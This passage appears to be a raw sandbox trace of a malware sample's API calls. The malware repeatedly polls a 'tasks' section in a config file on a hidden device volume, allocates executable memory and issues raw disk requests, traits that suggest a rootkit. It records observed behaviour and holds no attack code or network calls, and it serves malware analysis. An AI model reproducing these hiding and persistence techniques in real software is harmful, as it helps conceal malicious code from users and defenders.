Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.404] KeLeaveCriticalRegion () [0128.404] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.404] KeEnterCriticalRegion () [0128.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.404] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.404] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.404] KeLeaveCriticalRegion () [0128.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.404] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.404] KeEnterCriticalRegion () [0128.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.404] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.404] KeLeaveCriticalRegion () [0128.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.404] ReleaseMutex (hMutex=0xf0) returned 1 [0128.404] Sleep (dwMilliseconds=0x927c0) [0128.419] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.419] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.419] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.419] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.419] KeEnterCriticalRegion () [0128.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.419] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.419] IdePortDispatch () returned 0x103 [0128.419] KeWaitForMutexObject () returned 0x0 [0128.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.419] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.419] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.419] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.419] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.419] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff010 [0128.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.419] KeLeaveCriticalRegion () [0128.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.419] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.419] KeEnterCriticalRegion () [0128.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.419] KeLeaveCriticalRegion () [0128.420] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.420] KeEnterCriticalRegion () [0128.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.420] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.420] IdePortDispatch () returned 0x103 [0128.420] KeWaitForMutexObject () returned 0x0 [0128.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.420] KeLeaveCriticalRegion () [0128.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.420] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.420] KeEnterCriticalRegion () [0128.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034be000 [0128.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.420] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.420] IdePortDispatch () returned 0x103 [0128.420] KeWaitForMutexObject () returned 0x0 [0128.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.421] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.421] IdePortDispatch () returned 0x103 [0128.421] KeWaitForMutexObject () returned 0x0 [0128.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.421] KeLeaveCriticalRegion () [0128.421] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.421] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.421] KeEnterCriticalRegion () [0128.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.421] KeLeaveCriticalRegion () [0128.421] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.421] KeEnterCriticalRegion () [0128.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.421] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.421] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe1c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.422] KeLeaveCriticalRegion () [0128.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.422] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.422] KeEnterCriticalRegion () [0128.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.422] ExFreePoolWithTag (P=0xfffffa8003bff010, Tag=0x0) [0128.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.422] KeLeaveCriticalRegion () [0128.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.422] ReleaseMutex (hMutex=0xf0) returned 1 [0128.422] Sleep (dwMilliseconds=0x927c0) [0128.436] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.437] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.437] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.437] KeEnterCriticalRegion () [0128.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.437] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.437] IdePortDispatch () returned 0x103 [0128.437] KeWaitForMutexObject () returned 0x0 [0128.437] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.437] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.437] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.437] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.437] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.437] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac4a00 [0128.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.437] KeLeaveCriticalRegion () [0128.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.437] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.438] KeEnterCriticalRegion () [0128.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.438] KeLeaveCriticalRegion () [0128.438] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.438] KeEnterCriticalRegion () [0128.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.438] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.438] IdePortDispatch () returned 0x103 [0128.438] KeWaitForMutexObject () returned 0x0 [0128.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.438] KeLeaveCriticalRegion () [0128.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.438] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.438] KeEnterCriticalRegion () [0128.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c3000 [0128.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.439] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.439] IdePortDispatch () returned 0x103 [0128.439] KeWaitForMutexObject () returned 0x0 [0128.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.439] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.439] IdePortDispatch () returned 0x103 [0128.439] KeWaitForMutexObject () returned 0x0 [0128.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.439] KeLeaveCriticalRegion () [0128.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.440] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.440] KeEnterCriticalRegion () [0128.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.440] KeLeaveCriticalRegion () [0128.440] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.440] KeEnterCriticalRegion () [0128.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.440] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.440] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.440] KeLeaveCriticalRegion () [0128.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.441] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.441] KeEnterCriticalRegion () [0128.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.441] ExFreePoolWithTag (P=0xfffffa8003ac4a00, Tag=0x0) [0128.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.441] KeLeaveCriticalRegion () [0128.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.441] ReleaseMutex (hMutex=0xf0) returned 1 [0128.441] Sleep (dwMilliseconds=0x927c0) [0128.450] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.450] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.461] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.461] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.461] KeEnterCriticalRegion () [0128.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.461] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.461] IdePortDispatch () returned 0x103 [0128.461] KeWaitForMutexObject () returned 0x0 [0128.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.461] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.461] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.461] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.461] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.461] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff010 [0128.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.461] KeLeaveCriticalRegion () [0128.461] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.461] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.461] KeEnterCriticalRegion () [0128.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.461] KeLeaveCriticalRegion () [0128.461] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.461] KeEnterCriticalRegion () [0128.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.461] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.461] IdePortDispatch () returned 0x103 [0128.461] KeWaitForMutexObject () returned 0x0 [0128.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.462] KeLeaveCriticalRegion () [0128.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.462] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.462] KeEnterCriticalRegion () [0128.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a8000 [0128.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.462] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.462] IdePortDispatch () returned 0x103 [0128.462] KeWaitForMutexObject () returned 0x0 [0128.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.462] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.462] IdePortDispatch () returned 0x103 [0128.462] KeWaitForMutexObject () returned 0x0 [0128.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.463] KeLeaveCriticalRegion () [0128.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.463] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.463] KeEnterCriticalRegion () [0128.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.463] KeLeaveCriticalRegion () [0128.463] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.463] KeEnterCriticalRegion () [0128.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.463] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.463] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe1c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.463] KeLeaveCriticalRegion () [0128.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.463] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.463] KeEnterCriticalRegion () [0128.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.463] ExFreePoolWithTag (P=0xfffffa8003bff010, Tag=0x0) [0128.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.463] KeLeaveCriticalRegion () [0128.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.463] ReleaseMutex (hMutex=0xf0) returned 1 [0128.464] Sleep (dwMilliseconds=0x927c0) [0128.480] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.480] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.480] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.480] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.480] KeEnterCriticalRegion () [0128.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.480] 